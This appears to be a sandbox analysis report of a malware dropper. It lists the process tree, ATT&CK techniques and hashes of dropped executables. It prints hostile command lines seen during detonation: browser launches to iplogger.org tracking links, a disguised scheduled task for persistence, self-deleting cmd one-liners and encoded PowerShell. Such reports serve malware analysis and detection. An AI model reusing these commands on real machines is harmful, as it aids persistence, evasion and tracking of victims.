"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7fff3a4046f8,0x7fff3a404708,0x7fff3a404718
3⤵
PID:1508

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1496,14544202112780849348,15318095457320100478,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 /prefetch:3
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:5668

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/1AKmX4
2⤵
- Suspicious use of WriteProcessMemory
PID:3744

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff3a4046f8,0x7fff3a404708,0x7fff3a404718
3⤵
PID:4396

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2060,13084321579550757460,3423874986861211102,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1976 /prefetch:2
3⤵
PID:5476

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2060,13084321579550757460,3423874986861211102,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 /prefetch:3
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:5772

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/1AZmX4
2⤵
- Suspicious use of WriteProcessMemory
PID:4656

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff3a4046f8,0x7fff3a404708,0x7fff3a404718
3⤵
PID:3084

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2080,2171998297874440901,11002008073167300930,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 /prefetch:3
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:5656

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/1AVmX4
2⤵
- Adds Run key to start application
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1316

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff3a4046f8,0x7fff3a404708,0x7fff3a404718
3⤵
PID:32

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2152 /prefetch:2
3⤵
PID:892

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2676 /prefetch:8
3⤵
PID:5728

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 /prefetch:3
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:5628

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3204 /prefetch:1
3⤵
PID:6220

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3212 /prefetch:1
3⤵
PID:6368

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4032 /prefetch:1
3⤵
PID:6640

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4164 /prefetch:1
3⤵
PID:6744

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4388 /prefetch:1
3⤵
PID:6864

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4764 /prefetch:1
3⤵
PID:6960

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4960 /prefetch:1
3⤵
PID:7032

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5112 /prefetch:1
3⤵
PID:7104

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5340 /prefetch:1
3⤵
PID:4872

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6796 /prefetch:8
3⤵
PID:5784

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5592 /prefetch:1
3⤵
PID:5328

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5604 /prefetch:1
3⤵
PID:5380

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5704 /prefetch:8
3⤵
PID:7180

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7612 /prefetch:8
3⤵
PID:7244

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
3⤵
- Drops file in Program Files directory
PID:7260

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff69d705460,0x7ff69d705470,0x7ff69d705480
4⤵
PID:7320

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7612 /prefetch:8
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:6176

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8156 /prefetch:8
3⤵
PID:7880

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2020 /prefetch:8
3⤵
PID:4668

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1252 /prefetch:2
3⤵
PID:3228

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2108,2505936727405504413,17883209424188980805,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7144 /prefetch:8
3⤵
PID:3988

C:\Program Files (x86)\Company\NewProduct\F0geI.exe
"C:\Program Files (x86)\Company\NewProduct\F0geI.exe"
2⤵
- Executes dropped EXE
PID:4476

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4476 -s 768
3⤵
- Program crash
PID:5248

C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe
"C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe"
2⤵
- Executes dropped EXE
PID:380

C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe
"C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1528

C:\Program Files (x86)\Company\NewProduct\real.exe
"C:\Program Files (x86)\Company\NewProduct\real.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:2324

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im real.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\Company\NewProduct\real.exe" & del C:\PrograData\*.dll & exit
3⤵
PID:7556

C:\Windows\SysWOW64\taskkill.exe
taskkill /im real.exe /f
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:7648

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
4⤵
- Delays execution with timeout.exe
PID:7740

C:\Program Files (x86)\Company\NewProduct\jshainx.exe
"C:\Program Files (x86)\Company\NewProduct\jshainx.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2604

C:\Program Files (x86)\Company\NewProduct\brokerius.exe
"C:\Program Files (x86)\Company\NewProduct\brokerius.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:4068

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im brokerius.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\Company\NewProduct\brokerius.exe" & del C:\PrograData\*.dll & exit
3⤵
PID:5620

C:\Windows\SysWOW64\taskkill.exe
taskkill /im brokerius.exe /f
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5916

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
4⤵
- Delays execution with timeout.exe
PID:6024

C:\Program Files (x86)\Company\NewProduct\captain09876.exe
"C:\Program Files (x86)\Company\NewProduct\captain09876.exe"
2⤵
- Executes dropped EXE
- Adds Run key to start application
PID:1872

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE
3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6888

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA0AA==
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:7360

C:\Users\Admin\AppData\Local\Temp\Alwgckdftdslvwbqpdbjc13t.exe
"C:\Users\Admin\AppData\Local\Temp\Alwgckdftdslvwbqpdbjc13t.exe"
4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:5124

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA0AA==
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:8016

C:\Users\Admin\AppData\Local\Temp\Alwgckdftdslvwbqpdbjc13t.exe
C:\Users\Admin\AppData\Local\Temp\Alwgckdftdslvwbqpdbjc13t.exe
5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5272

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE
4⤵
- Executes dropped EXE
PID:5564

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6488

C:\Program Files (x86)\Company\NewProduct\safert44.exe
"C:\Program Files (x86)\Company\NewProduct\safert44.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4708

C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe
"C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
PID:3396

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /tn COMSurrogate /f /sc onlogon /rl highest /tr "C:\Users\Admin\TypeRes\DllResource.exe"
3⤵
- Creates scheduled task(s)
PID:3464

C:\Users\Admin\TypeRes\DllResource.exe
"C:\Users\Admin\TypeRes\DllResource.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5980

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A "C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe"
3⤵
PID:3160

C:\Windows\SysWOW64\chcp.com
chcp 65001
4⤵
PID:5624

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
4⤵
- Runs ping.exe
PID:4524

C:\Program Files (x86)\Company\NewProduct\WW1.exe
"C:\Program Files (x86)\Company\NewProduct\WW1.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:2268

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2268 -s 1332
3⤵
- Program crash
PID:620

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2268 -ip 2268
1⤵
PID:5400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4476 -ip 4476
1⤵
PID:924

C:\Users\Admin\AppData\Local\Temp\3BAC.exe
C:\Users\Admin\AppData\Local\Temp\3BAC.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
PID:4064

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA0AA==
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5252

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4540 -s 872
2⤵
- Program crash
PID:3276

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4540 -ip 4540
1⤵
PID:4476

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4468

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Remote System Discovery

T1018

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Company\NewProduct\F0geI.exe
Filesize
339KB

MD5
501e0f6fa90340e3d7ff26f276cd582e

SHA1
1bce4a6153f71719e786f8f612fbfcd23d3e130a

SHA256
f07d918c6571f11abf9ab7268ac6e2ecbcd931c3d9d878895c777d15052aae2b

SHA512
dee3aabfca7912f15b628253222cfe8d8e13cd64f0438e8d705b68b0a14b4c9523b7a207583be7b424e444d6b05f237484a0c38bf2e075d347ef937d409a3a69

Download Submit
C:\Program Files (x86)\Company\NewProduct\F0geI.exe
Filesize
339KB

MD5
501e0f6fa90340e3d7ff26f276cd582e

SHA1
1bce4a6153f71719e786f8f612fbfcd23d3e130a

SHA256
f07d918c6571f11abf9ab7268ac6e2ecbcd931c3d9d878895c777d15052aae2b

SHA512
dee3aabfca7912f15b628253222cfe8d8e13cd64f0438e8d705b68b0a14b4c9523b7a207583be7b424e444d6b05f237484a0c38bf2e075d347ef937d409a3a69

Download Submit
C:\Program Files (x86)\Company\NewProduct\WW1.exe
Filesize
283KB

MD5
86c2f03bbb61bdcaf1ae4bfb22cc2d31

SHA1
bd4d43346fda88073a2832aa68a832da7fba92d2

SHA256
68e686f07eab2a6d3da3e045e5a27614b6225aecd5e373d3e788281207f7ee3c

SHA512
4d9f01819d8d8536a0b0e17da8742cc2d01240a899e00f5338db8fc0a37536a16c4f1a112475c5f6a017db534144819ce8d6a22f1c346d38363854208c6a01d1

Download Submit
C:\Program Files (x86)\Company\NewProduct\WW1.exe
Filesize
283KB

MD5
86c2f03bbb61bdcaf1ae4bfb22cc2d31

SHA1
bd4d43346fda88073a2832aa68a832da7fba92d2

SHA256
68e686f07eab2a6d3da3e045e5a27614b6225aecd5e373d3e788281207f7ee3c

SHA512
4d9f01819d8d8536a0b0e17da8742cc2d01240a899e00f5338db8fc0a37536a16c4f1a112475c5f6a017db534144819ce8d6a22f1c346d38363854208c6a01d1

Download Submit
C:\Program Files (x86)\Company\NewProduct\brokerius.exe
Filesize
283KB

MD5
f5d13e361f8b9aca7103cb46b441034b

SHA1
090dcc68f4ce59d1c5b8b7424508c4033ee418dd

SHA256
a5ad514ed54f1f8f0a8e054b0dc3a39d13d70e388711ddb9d44095a5a89317bf

SHA512
db8f615405c3dcbb2e525903a572e13565f184bc8c1a2674138a84774dd06041a9899006b8599a25f06ce4fba92c12d102772e74be62ac6d02b5bc0ac4ee124a

Download Submit
C:\Program Files (x86)\Company\NewProduct\brokerius.exe
Filesize
283KB

MD5
f5d13e361f8b9aca7103cb46b441034b

SHA1
090dcc68f4ce59d1c5b8b7424508c4033ee418dd

SHA256
a5ad514ed54f1f8f0a8e054b0dc3a39d13d70e388711ddb9d44095a5a89317bf

SHA512
db8f615405c3dcbb2e525903a572e13565f184bc8c1a2674138a84774dd06041a9899006b8599a25f06ce4fba92c12d102772e74be62ac6d02b5bc0ac4ee124a

Download Submit
C:\Program Files (x86)\Company\NewProduct\captain09876.exe
Filesize
704KB

MD5
ce94ce7de8279ecf9519b12f124543c3

SHA1
be2563e381439ed33869a052391eec1ddd40faa0

SHA256
f88d6fc5fd36ef3a9c54cf7101728a39a2a2694a0a64f6af1e1befacfbc03f20

SHA512
9697cfc31b3344a2929b02ecdf9235756f4641dbb0910e9f6099382916447e2d06e41c153fad50890823f068ae412fb9a55fd274b3b9c7929f2ca972112cc5b7

Download Submit
C:\Program Files (x86)\Company\NewProduct\jshainx.exe
Filesize
107KB

MD5
2647a5be31a41a39bf2497125018dbce

SHA1
a1ac856b9d6556f5bb3370f0342914eb7cbb8840

SHA256
84c7458316adf09943e459b4fb1aa79bd359ec1516e0ad947f44bdc6c0931665

SHA512
68f70140af2ad71a40b6c884627047cdcbc92b4c6f851131e61dc9db3658bde99c1a09cad88c7c922aa5873ab6829cf4100dc12b75f237b2465e22770657ae26

Download Submit
C:\Program Files (x86)\Company\NewProduct\jshainx.exe
Filesize
107KB

MD5
2647a5be31a41a39bf2497125018dbce

SHA1
a1ac856b9d6556f5bb3370f0342914eb7cbb8840

SHA256
